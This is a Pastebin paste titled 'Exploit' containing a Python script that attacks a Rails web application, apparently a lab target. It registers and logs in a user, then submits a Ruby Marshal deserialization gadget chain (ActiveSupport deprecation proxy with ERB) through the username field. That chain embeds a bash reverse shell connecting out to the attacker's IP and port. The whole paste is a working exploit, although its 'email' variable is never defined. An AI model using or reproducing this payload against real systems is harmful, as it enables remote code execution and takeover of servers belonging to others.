anon754

Exploit

Oct 13th, 2020
1,409
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.81 KB | None | 0 0
  1. import requests
  2. import re
  3. import sys
  4.  
  5. URL='http://{}:8080'.format(sys.argv[1])
  6. username='myuser4'
  7. password='mypass4'
  8.  
  9. if len(sys.argv) != 4:
  10. print("specify target IP, your IP and port: python3 rev.py 10.10.xx.xx 9001")
  11. exit(0)
  12.  
  13. s = requests.Session()
  14.  
  15. resp = s.get(URL + '/signup')
  16. rx = r'token" content="(.*)"'
  17.  
  18. token = re.search(rx,resp.text).group(1)
  19.  
  20. # create user
  21. data = {}
  22. data['utf8'] = 'â'
  23. data['authenticity_token'] = token
  24. data['user[username]'] = username
  25. data['user[email]'] = email
  26. data['user[password]'] = password
  27. data['commit'] = 'Create User'
  28. resp = s.post(URL + '/users', data=data)
  29.  
  30. # login
  31. data = {}
  32. data['utf8'] = 'â'
  33. data['authenticity_token'] = token
  34. data['session[email]'] = email
  35. data['session[password]'] = password
  36. data['commit'] = 'Log in'
  37. resp = s.post(URL + '/login', data=data)
  38.  
  39. rx = r'href="/users/(.*)"'
  40. user_id = re.search(rx,resp.text).group(1)
  41.  
  42. # rev shell
  43. rev = "bash -c 'bash -i >& /dev/tcp/{}/{} 0>&1'".format(sys.argv[2], sys.argv[3])
  44. payload = '\x04\x08o\x3A\x40ActiveSupport\x3A\x3ADeprecation\x3A\x3ADeprecatedInstanceVariableProxy'
  45. payload += '\x09\x3A\x0E\x40instanceo\x3A\x08ERB\x08\x3A\x09\x40srcI\x22'
  46. payload += '{}\x60{}\x60'.format(chr(len(rev)+7), rev)
  47. payload += '\x06\x3A\x06ET\x3A\x0E\x40filenameI\x22\x061\x06\x3B\x09T\x3A\x0C\x40linenoi\x06\x3A\x0C\x40method\x3A'
  48. payload += '\x0Bresult\x3A\x09\x40varI\x22\x0C\x40result\x06\x3B\x09T\x3A\x10\x40deprecatorIu\x3A\x1F'
  49. payload += 'ActiveSupport\x3A\x3ADeprecation\x00\x06\x3B\x09T'
  50.  
  51. data = {}
  52. data['utf8'] = 'â'
  53. data['authenticity_token'] = token
  54. data['_method'] = 'patch'
  55. data['user[username]'] = payload
  56. data['commit'] = 'Update User'
  57. s.post(URL + '/users/' + user_id, data=data)
  58. s.post(URL + '/users/' + user_id, data=data)
  59.  
  60. s.get(URL + '/articles')
  61.  
Add Comment
Please, Sign In to add comment